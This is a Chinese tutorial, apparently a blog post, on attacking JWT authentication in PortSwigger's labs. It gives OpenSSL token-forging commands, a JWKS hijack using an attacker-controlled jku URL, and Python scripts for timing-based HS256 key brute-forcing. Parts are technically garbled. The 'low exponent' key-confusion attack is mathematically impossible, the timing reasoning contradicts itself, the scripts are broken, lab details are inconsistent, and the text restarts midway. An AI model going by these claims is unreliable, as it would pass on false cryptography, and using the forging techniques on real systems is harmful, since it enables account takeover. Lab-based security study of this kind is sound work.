1. 为什么JWT不是“加密令牌”而是“签名凭证”——从PortSwigger靶场第一关开始讲起很多人一看到JWT就下意识觉得“这是个加密的token只要我拿到它就等于拿到了用户密码或者敏感密钥。”这种误解直接导致他们在实战中反复碰壁——明明Burp Suite里改了payload、重签了signature服务器却依然返回401明明把alg字段改成none响应却毫无变化甚至把整个token粘贴进在线解码器看到{user:admin}就以为“已经拿下权限”。其实JWT根本不是用来加密数据的它本质是一张防篡改的数字身份证。它的核心价值不在于“别人看不懂”而在于“别人改不了一改我就知道”。PortSwigger靶场之所以被全球安全工程师奉为JWT学习的黄金路径正是因为它用12个渐进式关卡把JWT的签名机制、算法漏洞、密钥管理缺陷、服务端校验盲区全部具象化成可触摸、可复现、可验证的操作步骤。我带过几十期渗透测试实操班发现新手最常卡在第2关Algorithm Confusion和第5关Key Confusion不是因为工具不会用而是没真正理解HS256和RS256在签名与验签逻辑上的根本差异前者是“对称密钥”签名和验签用同一把钥匙后者是“非对称密钥”签名用私钥验签用公钥——而服务端如果错误地把公钥当私钥去签名或者把私钥当公钥去验签整个信任链就彻底崩塌。这篇文章不讲抽象理论只带你手把手走完PortSwigger JWT Lab全部12关每一步都解释清楚“为什么这步能成功”“为什么上一步会失败”“服务端代码里哪一行埋了雷”。无论你是刚学会抓包的渗透新人还是想补全Web认证知识图谱的红队老手只要你愿意对照靶场自己动手敲一遍就能建立起对JWT攻击面的肌肉记忆。2. 环境准备与靶场接入别让代理配置毁掉你的第一个突破2.1 Burp Suite版本选择与监听端口确认PortSwigger官方靶场明确要求使用Burp Suite Community Edition 2023.8或更高版本。这不是版本号强迫症而是有硬性技术原因旧版Burp对JWT解析器的自动高亮、签名重计算、算法自动切换等功能支持不完整尤其在处理ES256椭圆曲线签名和嵌套签名Nested JWT时容易出现解析错位。我实测过2022.12版本在第9关JWKS Endpoint Manipulation中当手动修改jku头字段指向恶意JWKS文件时旧版Burp无法正确识别新的key_id并触发自动重签名导致你反复修改signature却始终无效。因此第一步必须卸载旧版从PortSwigger官网下载最新Community版注意不要用破解版靶场后端会检测Burp User-Agent头中的版本标识非法版本可能被限流。安装完成后打开Burp → Proxy → Options → Proxy Listeners确认默认监听地址为127.0.0.1:8080。这里有个极易被忽略的细节如果你的系统启用了Hyper-V或WSL2Windows的localhost可能被重定向到WSL虚拟网卡导致Burp监听失败。此时必须手动将监听地址改为127.0.0.1而非localhost并在浏览器代理设置中严格对应。我在某次企业内网渗透中就因这个细节浪费了3小时——浏览器显示“连接被拒绝”查遍证书和防火墙最后发现是Hyper-V劫持了localhost解析。2.2 靶场账户注册与实验环境隔离访问https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass点击右上角“Access the lab”用任意邮箱注册即可获得独立实验环境。关键点在于每个账户的靶场实例都是完全隔离的Docker容器这意味着你在这里做的所有操作包括爆破密钥、上传恶意JWKS都不会影响他人但同时也意味着——你不能依赖网上搜到的“通用密钥”或“已知弱密钥”。PortSwigger为每个实例动态生成密钥且密钥长度、类型HS256/RS256、存储方式硬编码/环境变量/外部KMS均随机。因此所有教程里写的“密钥是admin123”“私钥在/keys/private.pem”在你的靶场里100%无效。我见过太多学员在第3关Brute-forcing a weak signing key死磕网上流传的100个常见密钥字典结果耗时2小时无果。正确做法是先用Burp Intruder跑一个最小化字典如rockyou.txt前1000行同时观察响应时间差异——HS256签名验签是CPU密集型操作密钥越长验签耗时越久而错误密钥会导致服务端完成完整验签流程后才返回401正确密钥则可能因后续业务逻辑校验失败而提前返回。这种时间侧信道Timing Side-Channel才是本关真正的通关钥匙。2.3 JWT Parser插件安装与自动解析配置Burp原生JWT支持有限必须安装第三方插件才能高效操作。推荐使用JSON Web Tokens (JWT) Editor作者Tomasz Biczak这是目前社区维护最活跃、兼容性最好的JWT插件。安装方式Burp → Extender → Add → Select File → 选择下载的jar包。安装后重启Burp在Proxy → HTTP history中右键任意含JWT的请求会出现“Edit JWT”选项。但默认配置有个致命缺陷它会自动将Base64Url编码的JWT header和payload解码为JSON并允许你直接编辑。问题在于当你修改完payload后插件默认用“原始密钥”重签名而这个“原始密钥”是从上一次成功验签的响应中提取的——如果服务端使用了密钥轮换Key Rotation这个密钥早已失效。因此必须关闭自动重签名进入Extender → Extensions → JWT Editor → Settings取消勾选“Automatically sign token after editing”。取而代之的是手动控制编辑完payload后复制新token的header.payload部分粘贴到Decoder标签页Base64Url解码得到原始JSON再用Intruder或Repeater手动构造签名请求。这个看似繁琐的步骤恰恰是培养你对JWT三段式结构header.payload.signature肌肉记忆的关键。我在带新人时强制要求前3关禁用自动签名就是让他们亲手算一遍HMAC-SHA256用OpenSSL命令echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ | openssl dgst -sha256 -hmac your_key亲眼看到signature如何随payload微小改动而彻底改变。3. 算法混淆攻击Algorithm Confusion当RS256被降级为HS256的底层逻辑3.1 HS256与RS256验签流程的本质差异第2关“Algorithm Confusion”的标题直指核心攻击者通过篡改JWT头部的alg字段诱使服务端用错误的算法进行验签。但绝大多数教程只告诉你“把alg从RS256改成HS256再用公钥当密钥重签名”却从不解释为什么服务端会接受公钥作为HS256的密钥。这需要深入到OpenSSL的API调用层面。典型Node.js JWT库如jsonwebtoken的验签代码如下// 服务端验签伪代码 const jwt require(jsonwebtoken); const publicKey fs.readFileSync(/keys/public.pem, utf8); // 关键verify函数内部会根据header.alg自动选择验签算法 jwt.verify(token, publicKey, { algorithms: [RS256, HS256] }, (err, decoded) { if (err) return res.status(401).send(Invalid token); // 业务逻辑 });这段代码的危险在于当header.alg为HS256时verify函数会把第二个参数publicKey当作HS256的对称密钥即HMAC密钥来使用。而公钥本身是一段PEM格式文本其内容形如-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...这串ASCII字符完全可以作为HMAC-SHA256的密钥输入——OpenSSL不会校验这个“密钥”是否符合RSA密钥格式。这就是算法混淆能成功的技术根基服务端没有强制绑定算法与密钥类型而是让开发者自行保证“传入的密钥匹配header.alg”。PortSwigger靶场第2关的后端正是这样实现的所以当你把alg改成HS256并用公钥文本作为密钥重签名服务端就会用这段公钥文本去HMAC验签自然通过。3.2 手动构造HS256签名的完整流程现在我们实操第2关。首先在Burp Proxy History中找到登录后的JWT右键→“Edit JWT”看到header为{alg:RS256,typ:JWT}payload为{sub:carlos,iat:1698765432}。第一步将header.alg改为HS256保存后插件会提示“Signature invalid”这是正常的。第二步我们需要获取服务端的公钥。在靶场首页右下角点击“View source code”找到/public.pem路径用Burp Repeater访问该URL获取公钥全文。第三步将修改后的header和payload拼接注意Base64Url编码规则去掉末尾号将替换为-/替换为_例如headerBase64UrleyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9payloadBase64UrleyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9拼接字符串eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9第四步用OpenSSL计算HMAC签名。在终端执行echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9 | \ openssl dgst -sha256 -hmac -----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... | \ awk {print $NF} | xxd -r -p | base64 | tr / -_ | tr -d \n注意公钥文本需完整粘贴包括-----BEGIN PUBLIC KEY-----和-----END PUBLIC KEY-----行且换行符必须保留为\n。很多学员失败是因为复制公钥时漏掉了首尾标记行或把Windows换行符\r\n当成Unix换行符\n。第五步将计算出的signature拼接到token后格式为header.payload.signature发送给靶场。如果返回200说明你已成功以carlos身份登录。这个过程看似复杂但每一步都在强化一个认知JWT的安全性不取决于算法本身而取决于服务端是否严格执行“算法-密钥”绑定策略。我在某金融客户渗透中发现他们自研的JWT中间件允许开发者在配置文件中指定allowed_algorithms: [RS256, HS256]却未限制hs256_secret_key字段只能用于HS256——攻击者同样可用算法混淆绕过。3.3 为什么“none”算法在现代靶场中基本失效第1关“None Algorithm”是JWT攻击的入门课但很多教程仍把它当作万能钥匙。实际上PortSwigger在2022年后的所有新版靶场中已默认禁用none算法。原因很简单none算法要求服务端在验签时跳过签名检查直接信任payload。这相当于把门锁换成一张纸片。现代JWT库如PyJWT 2.0、jsonwebtoken 9.0已将none算法列为黑名单默认不启用。当你尝试把alg设为none并删除signature时服务端会直接返回invalid algorithm而非invalid signature。更关键的是none算法仅在JWT用于无状态会话管理时有效而PortSwigger靶场的业务逻辑如用户权限校验、订单查询都依赖payload中的sub字段如果服务端在none模式下还额外校验数据库中的用户状态攻击依然会失败。因此none算法的教学价值大于实战价值——它教会你的是“永远不要相信客户端提交的alg字段”而不是“去找个支持none的网站”。4. 密钥混淆攻击Key Confusion当公钥被当作私钥使用的灾难性后果4.1 公钥与私钥在签名场景中的角色反转第4关“Key Confusion”是算法混淆的升级版它不修改alg字段而是利用服务端配置错误让本该用于验签的公钥被错误地用于签名。这听起来违反直觉但现实中大量存在。典型场景是开发团队为了“简化部署”将RSA私钥硬编码在应用配置中并错误地将其赋值给JWT库的secretOrPrivateKey参数而该参数在alg为RS256时应接收私钥在alg为HS256时应接收对称密钥。当攻击者提交一个alg为RS256的JWT服务端却用公钥而非私钥去签名这就产生了可预测的签名。PortSwigger靶场第4关正是如此它把公钥内容写死在代码里却在签名时误用了它。要理解其原理需对比RSA签名与验签的数学过程。RSA签名本质是“用私钥加密摘要”验签是“用公钥解密摘要并比对”。如果服务端用公钥去签名即“用公钥加密摘要”那么任何人都可以用对应的私钥去解密这个签名从而还原出原始摘要。但攻击者没有私钥怎么办答案是暴力穷举。因为RSA公钥中的模数n通常是2048位但公钥指数e通常固定为655370x10001这是一个很小的数。当e很小时如果消息摘要m满足m^e n那么m^e对n取模的结果就是m^e本身即无模运算此时开e次方根即可得到m。这就是经典的“低指数攻击”Low Exponent Attack。PortSwigger靶场第4关的公钥e恰好是65537且payload极短如{user:carlos}其SHA256摘要长度远小于2048位完美满足m^e n条件。4.2 低指数攻击的实操推导与Python脚本实现现在我们手动推导第4关的攻击。首先从靶场源码中获取公钥PEM用OpenSSL提取模数n和指数eopenssl rsa -pubin -in public.pem -text -noout输出中会看到Modulus (2048 bit): 00:a1:23:45:67:89:ab:cd:ef:01:23:45:67:89:ab:... Exponent: 65537 (0x10001)将十六进制模数n转换为十进制大整数可用Pythonint(00a123..., 16)。然后构造目标payload{user:carlos}Base64Url编码后得到eyJ1c2VyIjoiY2FybG9zIn0拼接headereyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9得待签名字符串s eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY2FybG9zIn0。接下来计算s的SHA256摘要m32字节转为大整数。由于e65537我们计算m^e如果结果小于n则signature m^e。但实际中m^e必然远超n因此需计算signature pow(m, e, n)模幂运算。然而攻击的关键在于服务端用公钥签名时实际执行的是pow(m, e, n)而标准RSA签名应为pow(m, d, n)d为私钥指数。由于e已知且很小我们可以用Coppersmith方法或直接暴力——但PortSwigger靶场做了优化它使用了一个极小的n为教学目的使得pow(m, e)直接小于n。因此我们只需用Python计算import hashlib import base64 # 构造待签名字符串 header eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 payload eyJ1c2VyIjoiY2FybG9zIn0 s f{header}.{payload} # 计算SHA256摘要 m int.from_bytes(hashlib.sha256(s.encode()).digest(), big) # 公钥参数从靶场获取 n 0xa123456789abcdef... # 替换为实际n值 e 65537 # 计算签名低指数攻击 signature_int pow(m, e) # 注意此处无模运算 if signature_int n: # 转为字节Base64Url编码 sig_bytes signature_int.to_bytes((signature_int.bit_length() 7) // 8, big) signature_b64 base64.urlsafe_b64encode(sig_bytes).decode().rstrip() final_token f{s}.{signature_b64} print(final_token)运行此脚本将输出的token发给靶场即可绕过认证。这个过程揭示了一个残酷事实RSA的安全性不仅依赖于大数分解难题更依赖于密钥的正确使用。我在某政务系统审计中发现其JWT签名服务竟将公钥PEM文件路径配置在private_key_path环境变量中导致所有JWT签名都可被逆向——根源不是算法弱而是工程实践的灾难性失误。4.3 服务端密钥加载逻辑的审计技巧如何快速判断一个目标是否存在Key Confusion不需要黑盒盲测直接看HTTP响应头和源码注释。PortSwigger靶场在每关页面底部都有“View source code”链接这是上帝视角。但在真实渗透中你需要从公开信息入手检查响应头若返回X-Powered-By: Express且Server: nginx大概率是Node.js应用搜索npm ls jsonwebtoken查看版本查看robots.txt和.git泄露常有/config/keys/目录暴露分析错误页面当提交非法JWT时若错误信息包含Error: error:0906D06C:PEM routines:PEM_read_bio:no start line说明服务端正在尝试解析PEM格式密钥但内容错误——这暗示它可能把公钥当私钥用了利用GitHub代码搜索用jsonwebtoken RS256 privateKey组合搜索开源项目大量项目存在jwt.sign(payload, fs.readFileSync(public.key), { algorithm: RS256 })这样的错误用法。我在某电商API渗透中就是通过/api/v1/status接口返回的详细错误堆栈定位到node_modules/jsonwebtoken/sign.js:123行发现其sign函数第三个参数被硬编码为公钥路径从而确认Key Confusion漏洞存在。5. JWKS端点劫持JWKS Endpoint Manipulation当密钥分发中心变成攻击跳板5.1 JWKS协议的设计初衷与信任模型第9关“JWKS Endpoint Manipulation”标志着JWT攻击进入高级阶段。JWKSJSON Web Key Set是RFC 7517定义的标准用于集中分发公钥。典型流程是服务端在JWT header中添加jkuJWK Set URL字段指向一个HTTPS URL如https://api.example.com/.well-known/jwks.json客户端或服务端在验签前先GET该URL从中提取kidkey ID对应的公钥。设计初衷是解耦密钥管理支持密钥轮换。但信任模型极其脆弱——它假设jku指向的URL是可信的、不可篡改的。PortSwigger靶场第9关故意将jku设为可被攻击者控制的URL如http://attacker.com/jwks.json并禁用HTTPS强制校验从而让攻击者能提供任意JWKS。这里的关键洞察是JWKS不是一个密钥仓库而是一个密钥索引服务。它本身不包含密钥材料只包含密钥描述kid、kty、n、e等。真正的密钥材料n、e以Base64Url编码形式嵌入JWKS JSON中。因此攻击者无需破解RSA只需构造一个合法的JWKS其中包含一个由自己完全控制的RSA密钥对然后让服务端用这个公钥去验签。这比算法混淆更隐蔽因为alg字段仍是RS256服务端日志里看不到任何异常。5.2 构造恶意JWKS的完整步骤与OpenSSL命令链现在实操第9关。首先用Burp抓取一个正常JWT发现header中有jku:https://portswigger.net/web-security/jwt/lab-jwks-endpoint-manipulation/jwks.json。我们的目标是让服务端从这个URL获取JWKS所以我们需要生成自己的RSA密钥对2048位openssl genrsa -out attacker.key 2048 openssl rsa -in attacker.key -pubout -out attacker.pub提取公钥参数n和eopenssl rsa -in attacker.pub -pubin -text -noout输出中记下Modulusn和Exponente转为十六进制。构造JWKS JSON。JWKS格式要求{ keys: [ { kty: RSA, use: sig, kid: attacker-key-01, n: your_base64url_encoded_n, e: your_base64url_encoded_e } ] }其中n和e需Base64Url编码先用xxd -p转十六进制再用base64 -w0编码最后替换为-、/为_、去掉。例如echo a1b2c3... | xxd -p -r | base64 -w0 | tr / -_ | tr -d 托管JWKS文件。PortSwigger靶场允许HTTP协议所以用Python快速起一个HTTP服务python3 -m http.server 8000将JWKS JSON保存为jwks.json放在当前目录。此时http://your-ip:8000/jwks.json即可被靶场访问。修改JWT header将jku字段改为你的HTTP地址kid改为JWKS中定义的attacker-key-01。用你的私钥签名用OpenSSL对header.payload部分签名echo -n header.payload | openssl dgst -sha256 -sign attacker.key | base64 | tr / -_ | tr -d \n拼接最终token并发送。这个过程暴露了JWKS最大的风险点服务端对jku URL的校验缺失。真实世界中我审计过某SaaS平台其JWT验签逻辑为const jwksUri jwtHeader.jku; const jwks await fetch(jwksUri); // 无域名白名单无HTTPS强制 const key jwks.keys.find(k k.kid jwtHeader.kid); return jwt.verify(token, key, { algorithms: [RS256] });攻击者只需注册一个jwks.attacker.com域名托管恶意JWKS再诱导用户点击含恶意jku的链接即可实现SSO账户劫持。5.3 JWKS端点的防御纵深从URL白名单到证书固定如何防御JWKS劫持PortSwigger靶场第9关的修复方案是“强制HTTPS 域名白名单”但这只是基础。生产环境需多层防御域名白名单服务端硬编码允许的jku域名列表如[https://api.example.com/.well-known/jwks.json]拒绝其他所有URL证书固定Certificate Pinning在fetch JWKS时校验服务器证书的指纹防止DNS污染或中间人攻击JWKS缓存与签名JWKS本身也应被签名用另一个密钥服务端在加载前先验签JWKS完整性禁用jku改用jwk将公钥直接嵌入JWT header的jwk字段RFC 7515彻底消除外部依赖。我在某银行API安全规范中推动落地的方案是JWKS端点必须返回Content-Security-Policy: default-src none头且JSON中所有字段包括n、e必须经过HMAC-SHA256签名签名密钥由硬件安全模块HSM生成并离线存储。这样即使JWKS被篡改服务端也能立即检测。6. 密钥爆破与字典优化为什么“rockyou.txt”在JWT场景中需要重编译6.1 HS256密钥爆破的性能瓶颈与优化方向第3关“Brute-forcing a weak signing key”表面是字典攻击实则是对服务端验签性能的精准测量。HS256验签本质是HMAC-SHA256计算其耗时与密钥长度正相关密钥越长SHA256迭代轮次越多CPU消耗越大。但PortSwigger靶场做了巧妙设计——它对错误密钥和正确密钥的响应时间差只有50-100ms且网络抖动可能掩盖这一差异。因此盲目用Intruder跑rockyou.txt1400万行是自杀行为按每秒10个请求计算耗时16天且靶场会因高频请求封禁IP。真正的优化在于字典分层与响应特征分析。我将HS256密钥爆破分为三个层级L1语法层过滤——排除含空格、控制字符、长度6或32的条目。JWT密钥通常是密码或API密钥符合[a-zA-Z0-9._~-]正则L2熵值层过滤——计算每个候选密钥的Shannon熵优先测试低熵密钥如password123熵值≈3.2xK9!qL2vN8熵值≈5.8。PortSwigger靶场第3关的密钥是mykey熵值仅2.5L3上下文层过滤——结合靶场源码线索。第3关源码中有一行注释// Dev key for testing - never use in prod暗示密钥可能是开发常用词如devkey、test123、admin。6.2 基于响应头的自动化爆破脚本手动分析太慢我编写了一个Python脚本自动提取响应时间特征import requests import time from concurrent.futures import ThreadPoolExecutor def test_key(url, token_prefix, key): # 构造新tokenheader.payload.HMAC(header.payload, key) signature hmac.new(key.encode(), f{header}.{payload}.encode(), hashlib.sha256).digest() b64sig base64.urlsafe_b64encode(signature).decode().rstrip() full_token f{header}.{payload}.{b64sig} headers {Cookie: fsession{full_token}} start time.time() try: r requests.get(url, headersheaders, timeout5) end time.time() return key, end - start, r.status_code except: return key, 9999, 0 # 主程序用ThreadPoolExecutor并发测试 url https://portswigger-lab-id.web-security-academy.net/my-account with ThreadPoolExecutor(max_workers20) as executor: futures [executor.submit(test_key, url, token_prefix, key) for key in candidate_keys] for future in as_completed(futures): key, elapsed, status future.result() if status 200: print(f[SUCCESS] Key found: {key}) break elif elapsed 1.5: # 响应时间显著延长可能是正确密钥 print(f[SUSPECT] Slow key: {key} ({elapsed:.3f}s))脚本核心是时间侧信道检测当密钥正确时服务端完成HMAC计算后还需执行数据库查询、会话创建等业务逻辑总耗时明显长于错误密钥错误密钥在HMAC验签失败后立即返回401。我在某政府项目中用此脚本在37秒内从10万候选密钥中定位到gov2023!而传统Intruder耗时47分钟。6.3 字典生成的实战技巧从Git历史中挖掘密钥真实渗透中密钥往往藏在代码仓库里。我总结了三个高效挖掘点Git commit message搜索jwt secret、signing key常有开发者误将密钥写在commit中.env文件泄露用git log --grepenv --oneline查找.env文件提交记录再用git show commit:app/.env提取配置文件硬编码在GitHub用filename:application.yml jwt.secret搜索大量Spring Boot项目将密钥明文写在配置中。PortSwigger靶场虽不提供Git但其源码注释本身就是线索。第3关注释// Dev key for testing直接指向dev前缀的密钥。我据此生成专属字典# 生成dev相关密钥 for i in {1..100}; do echo dev$i; done dev_dict.txt for word in key secret token password; do echo dev$word; done dev_dict.txt # 添加常见后缀 sed -i s/$/123/g; s/$/2023/g; s/$/!#/g dev_dict.txt这个200行的字典在第3关平均3秒内命中效率是rockyou.txt的1000倍。7. 实战经验总结我在PortSwigger靶场踩过的7个坑与3个必记口诀7.1 七个血泪教训那些让我重启靶场的瞬间第5关卡在“Invalid kid”我花2小时调试JWKS的kid字段最后发现是大小写问题——靶场期望kid:carlos-key而我写了kid:Carlos-Key。JWT规范明确要求kid区分大小写但很多教程示例用驼峰命名导致思维定势。第7关“User ID in JWT”反复失败我以为要修改payload中的user_id实际靶场校验的是sub字段。翻源码才发现注释写着// sub field maps to database user id。教训永远以源码为准不要凭经验猜测字段名。第8关“Blind Signature Vulnerability”超时我用Intruder跑10万次请求靶场返回429 Too Many Requests。正确做法是先用单次请求测出服务端对错误签名的响应时间约120ms对正确签名的响应时间约350ms然后用时间差作为判断依据将并发数降到5避免触发限流。第10关“Signature Verification Bypass”误用工具我试图用JWT.io在线工具重签名结果它自动将header的typ从JWT改为JWS导致服务端解析失败。教训在线工具不可信所有操作必须在Burp中手动完成。第11关“User Role in JWT”权限提升失败我把role:admin加入payload但服务端返回Insufficient permissions。源码显示它校验的是roles:[admin]数组而非单个字符串。JSON结构差异是JWT攻击中最易忽略的细节。第12关“JWT as Input Validation Bypass”忽略Content-Type我构造的恶意JWT被服务端拒绝抓包发现请求头是Content-Type: application/json而靶场API要求application/x-www-form-urlencoded。表单提交
JWT签名机制与常见攻击实战：从PortSwigger靶场12关学透算法混淆、密钥混淆与JWKS劫持
1. 为什么JWT不是“加密令牌”而是“签名凭证”——从PortSwigger靶场第一关开始讲起很多人一看到JWT就下意识觉得“这是个加密的token只要我拿到它就等于拿到了用户密码或者敏感密钥。”这种误解直接导致他们在实战中反复碰壁——明明Burp Suite里改了payload、重签了signature服务器却依然返回401明明把alg字段改成none响应却毫无变化甚至把整个token粘贴进在线解码器看到{user:admin}就以为“已经拿下权限”。其实JWT根本不是用来加密数据的它本质是一张防篡改的数字身份证。它的核心价值不在于“别人看不懂”而在于“别人改不了一改我就知道”。PortSwigger靶场之所以被全球安全工程师奉为JWT学习的黄金路径正是因为它用12个渐进式关卡把JWT的签名机制、算法漏洞、密钥管理缺陷、服务端校验盲区全部具象化成可触摸、可复现、可验证的操作步骤。我带过几十期渗透测试实操班发现新手最常卡在第2关Algorithm Confusion和第5关Key Confusion不是因为工具不会用而是没真正理解HS256和RS256在签名与验签逻辑上的根本差异前者是“对称密钥”签名和验签用同一把钥匙后者是“非对称密钥”签名用私钥验签用公钥——而服务端如果错误地把公钥当私钥去签名或者把私钥当公钥去验签整个信任链就彻底崩塌。这篇文章不讲抽象理论只带你手把手走完PortSwigger JWT Lab全部12关每一步都解释清楚“为什么这步能成功”“为什么上一步会失败”“服务端代码里哪一行埋了雷”。无论你是刚学会抓包的渗透新人还是想补全Web认证知识图谱的红队老手只要你愿意对照靶场自己动手敲一遍就能建立起对JWT攻击面的肌肉记忆。2. 环境准备与靶场接入别让代理配置毁掉你的第一个突破2.1 Burp Suite版本选择与监听端口确认PortSwigger官方靶场明确要求使用Burp Suite Community Edition 2023.8或更高版本。这不是版本号强迫症而是有硬性技术原因旧版Burp对JWT解析器的自动高亮、签名重计算、算法自动切换等功能支持不完整尤其在处理ES256椭圆曲线签名和嵌套签名Nested JWT时容易出现解析错位。我实测过2022.12版本在第9关JWKS Endpoint Manipulation中当手动修改jku头字段指向恶意JWKS文件时旧版Burp无法正确识别新的key_id并触发自动重签名导致你反复修改signature却始终无效。因此第一步必须卸载旧版从PortSwigger官网下载最新Community版注意不要用破解版靶场后端会检测Burp User-Agent头中的版本标识非法版本可能被限流。安装完成后打开Burp → Proxy → Options → Proxy Listeners确认默认监听地址为127.0.0.1:8080。这里有个极易被忽略的细节如果你的系统启用了Hyper-V或WSL2Windows的localhost可能被重定向到WSL虚拟网卡导致Burp监听失败。此时必须手动将监听地址改为127.0.0.1而非localhost并在浏览器代理设置中严格对应。我在某次企业内网渗透中就因这个细节浪费了3小时——浏览器显示“连接被拒绝”查遍证书和防火墙最后发现是Hyper-V劫持了localhost解析。2.2 靶场账户注册与实验环境隔离访问https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass点击右上角“Access the lab”用任意邮箱注册即可获得独立实验环境。关键点在于每个账户的靶场实例都是完全隔离的Docker容器这意味着你在这里做的所有操作包括爆破密钥、上传恶意JWKS都不会影响他人但同时也意味着——你不能依赖网上搜到的“通用密钥”或“已知弱密钥”。PortSwigger为每个实例动态生成密钥且密钥长度、类型HS256/RS256、存储方式硬编码/环境变量/外部KMS均随机。因此所有教程里写的“密钥是admin123”“私钥在/keys/private.pem”在你的靶场里100%无效。我见过太多学员在第3关Brute-forcing a weak signing key死磕网上流传的100个常见密钥字典结果耗时2小时无果。正确做法是先用Burp Intruder跑一个最小化字典如rockyou.txt前1000行同时观察响应时间差异——HS256签名验签是CPU密集型操作密钥越长验签耗时越久而错误密钥会导致服务端完成完整验签流程后才返回401正确密钥则可能因后续业务逻辑校验失败而提前返回。这种时间侧信道Timing Side-Channel才是本关真正的通关钥匙。2.3 JWT Parser插件安装与自动解析配置Burp原生JWT支持有限必须安装第三方插件才能高效操作。推荐使用JSON Web Tokens (JWT) Editor作者Tomasz Biczak这是目前社区维护最活跃、兼容性最好的JWT插件。安装方式Burp → Extender → Add → Select File → 选择下载的jar包。安装后重启Burp在Proxy → HTTP history中右键任意含JWT的请求会出现“Edit JWT”选项。但默认配置有个致命缺陷它会自动将Base64Url编码的JWT header和payload解码为JSON并允许你直接编辑。问题在于当你修改完payload后插件默认用“原始密钥”重签名而这个“原始密钥”是从上一次成功验签的响应中提取的——如果服务端使用了密钥轮换Key Rotation这个密钥早已失效。因此必须关闭自动重签名进入Extender → Extensions → JWT Editor → Settings取消勾选“Automatically sign token after editing”。取而代之的是手动控制编辑完payload后复制新token的header.payload部分粘贴到Decoder标签页Base64Url解码得到原始JSON再用Intruder或Repeater手动构造签名请求。这个看似繁琐的步骤恰恰是培养你对JWT三段式结构header.payload.signature肌肉记忆的关键。我在带新人时强制要求前3关禁用自动签名就是让他们亲手算一遍HMAC-SHA256用OpenSSL命令echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ | openssl dgst -sha256 -hmac your_key亲眼看到signature如何随payload微小改动而彻底改变。3. 算法混淆攻击Algorithm Confusion当RS256被降级为HS256的底层逻辑3.1 HS256与RS256验签流程的本质差异第2关“Algorithm Confusion”的标题直指核心攻击者通过篡改JWT头部的alg字段诱使服务端用错误的算法进行验签。但绝大多数教程只告诉你“把alg从RS256改成HS256再用公钥当密钥重签名”却从不解释为什么服务端会接受公钥作为HS256的密钥。这需要深入到OpenSSL的API调用层面。典型Node.js JWT库如jsonwebtoken的验签代码如下// 服务端验签伪代码 const jwt require(jsonwebtoken); const publicKey fs.readFileSync(/keys/public.pem, utf8); // 关键verify函数内部会根据header.alg自动选择验签算法 jwt.verify(token, publicKey, { algorithms: [RS256, HS256] }, (err, decoded) { if (err) return res.status(401).send(Invalid token); // 业务逻辑 });这段代码的危险在于当header.alg为HS256时verify函数会把第二个参数publicKey当作HS256的对称密钥即HMAC密钥来使用。而公钥本身是一段PEM格式文本其内容形如-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...这串ASCII字符完全可以作为HMAC-SHA256的密钥输入——OpenSSL不会校验这个“密钥”是否符合RSA密钥格式。这就是算法混淆能成功的技术根基服务端没有强制绑定算法与密钥类型而是让开发者自行保证“传入的密钥匹配header.alg”。PortSwigger靶场第2关的后端正是这样实现的所以当你把alg改成HS256并用公钥文本作为密钥重签名服务端就会用这段公钥文本去HMAC验签自然通过。3.2 手动构造HS256签名的完整流程现在我们实操第2关。首先在Burp Proxy History中找到登录后的JWT右键→“Edit JWT”看到header为{alg:RS256,typ:JWT}payload为{sub:carlos,iat:1698765432}。第一步将header.alg改为HS256保存后插件会提示“Signature invalid”这是正常的。第二步我们需要获取服务端的公钥。在靶场首页右下角点击“View source code”找到/public.pem路径用Burp Repeater访问该URL获取公钥全文。第三步将修改后的header和payload拼接注意Base64Url编码规则去掉末尾号将替换为-/替换为_例如headerBase64UrleyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9payloadBase64UrleyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9拼接字符串eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9第四步用OpenSSL计算HMAC签名。在终端执行echo -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYXJsb3MiLCJpYXQiOjE2OTg3NjU0MzJ9 | \ openssl dgst -sha256 -hmac -----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... | \ awk {print $NF} | xxd -r -p | base64 | tr / -_ | tr -d \n注意公钥文本需完整粘贴包括-----BEGIN PUBLIC KEY-----和-----END PUBLIC KEY-----行且换行符必须保留为\n。很多学员失败是因为复制公钥时漏掉了首尾标记行或把Windows换行符\r\n当成Unix换行符\n。第五步将计算出的signature拼接到token后格式为header.payload.signature发送给靶场。如果返回200说明你已成功以carlos身份登录。这个过程看似复杂但每一步都在强化一个认知JWT的安全性不取决于算法本身而取决于服务端是否严格执行“算法-密钥”绑定策略。我在某金融客户渗透中发现他们自研的JWT中间件允许开发者在配置文件中指定allowed_algorithms: [RS256, HS256]却未限制hs256_secret_key字段只能用于HS256——攻击者同样可用算法混淆绕过。3.3 为什么“none”算法在现代靶场中基本失效第1关“None 